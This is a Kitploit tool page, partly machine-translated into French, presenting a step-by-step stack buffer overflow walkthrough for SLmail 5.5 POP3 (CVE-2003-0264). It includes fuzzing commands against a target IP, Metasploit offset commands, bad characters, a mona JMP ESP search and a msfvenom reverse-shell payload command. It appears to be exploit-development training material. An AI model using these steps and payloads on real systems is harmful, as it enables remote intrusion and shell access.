Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2003-0264_EXPLOIT — Dépassement de tampon dans Seattle Lab Mail (SLmail) 5.5 - POP3 | Kitploit
Outils/GitHubGitHub/vrikodar/cve-2003-0264_exploit
ExploitationShellcodeDébogueursFuzzingTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubvrikodar/cve-2003-0264_exploit

CVE-2003-0264_EXPLOIT

Dépassement de tampon dans Seattle Lab Mail (SLmail) 5.5 - POP3

Voir le dépôt
il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2003-0264_EXPLOIT

Dépassement de tampon dans Seattle Lab Mail (SLmail) 5.5 - POP3

Simple STACK BAsed BUffer Overflow Step By Step

1) FUZZER l'application

In the very First Step we will Fuzz The Application With a Simple Spike Script

meanwhile we wil also have SLmail attached[and running] to immunity Debugger

Plus d'informations sur Spike :: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/

Ici se trouve un script Spike simple nommé spike_fuzz.spk

we will run it against the application using command

root@kitploit:~
  line_send_tcp 192.168.1.117 110 spike_fuzz.spk

where 192.168.1.117 is the IP of Target Machine Running SLMail and it is Running On Port 110

Capture

Pendant ce temps, si nous regardons immunity, nous verrons que l'application a planté

Capture

2) POC pour reproduire le crash

Now we will create a python POC that Replicates the crash and calculates the bytes at which the application crashes

root@kitploit:~
           python poc_crash.py

Capture

3) Trouver l'offset

For Finding the offset we will utilize msf

root@kitploit:~
      1. Générer d'abord un motif
      2. Noter l'EIP
      3. Interroger cet EIP et la longueur avec MSF pour trouver l'offset

msf-pattern_create -l 2700

Capture

Dans poc_offset.py, nous utiliserons ce motif comme notre tampon de débordement !

root@kitploit:~
       python poc_offset.py

Capture

À ce stade, nous notons également la valeur EIP dans immunity où l'application a planté et s'est arrêtée

Capture

root@kitploit:~
        EIP is 39694438
        ::For Finding Offset::
        
        msf-pattern_offset -l 2700 -q 39694438

Capture

L'offset est 2606, ce qui signifie 2606 octets avant d'atteindre EIP, et EIP lui-même a une longueur de 4 octets

4) Contrôler l'EIP

Now we will Try TO Overwrite the EIP with 4B's ie:: in immunity we should have 42424242 {Hex for 4 B's}

root@kitploit:~
        python poc_eip_control.py

Capture

Et maintenant, si nous vérifions immunity

Capture

5) Trouver les mauvais caractères

To keep this simple and short

Vous pouvez exécuter le script poc_badchars.py et trouver les mauvais caractères vous-même

For Keeping this short

Cette application a deux mauvais caractères (qui sont également ceux par défaut). Lorsque nous exécutons poc_badchars.py la première fois, nous verrons que le caractère \x0a pose problème, puis nous le retirons de notre charge utile de mauvais caractères et exécutons à nouveau le script. La deuxième fois, nous verrons que le caractère \x0d est sauté ; c'est donc notre deuxième mauvais caractère et nous le retirons de notre charge utile. Après cela, lorsque nous exécutons le script une troisième fois, tout est clair et bon !!

root@kitploit:~
        badchars are :: \x00\x0a\x0d
        {nullbyte, Line feed, carriage return}

        python poc_badchars.py

6) Trouver le bon module et l'adresse

First we Find the right Module using Mona Modules in immunity

root@kitploit:~
              slmfc.dll is the most appropriate candidate as it does not have memory protections!

Capture

and now we find a JMP ESP address in this DLL

This address will be written to EIP so that we can redirect the Execution of Program to ESP which will result in the Execution of our shellcode!

root@kitploit:~
        !mona find -s "\xff\xe4" -m slmfc.dll
        
        {\xff\xe4 opcode equivalent of JMP ESP}

Capture

from 19 pointer addresses we choose the First one

7) Déposer un shell

Now We will Put all this Together and Drop a Shell

root@kitploit:~
              1.) generate the shell code {excluding badchars}
              2.) adding the address we Found {remeber Little Endian}
              3.) Add the buffer , return address, some nop-sleds, shellcode
              4.) we have a shell

Générons rapidement du shellcode avec msfvenom

root@kitploit:~
        msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Capture

Nous mettons tout ensemble dans le fichier exploit.py

Capture

Cette fois, nous exécutons SLmail sans immunity et écoutons également les connexions entrantes simultanément

once done with This we will run the Final exploit.py script!

Capture

EXCELLENT, NOUS AVONS UN SHELL !

Télécharger l’outil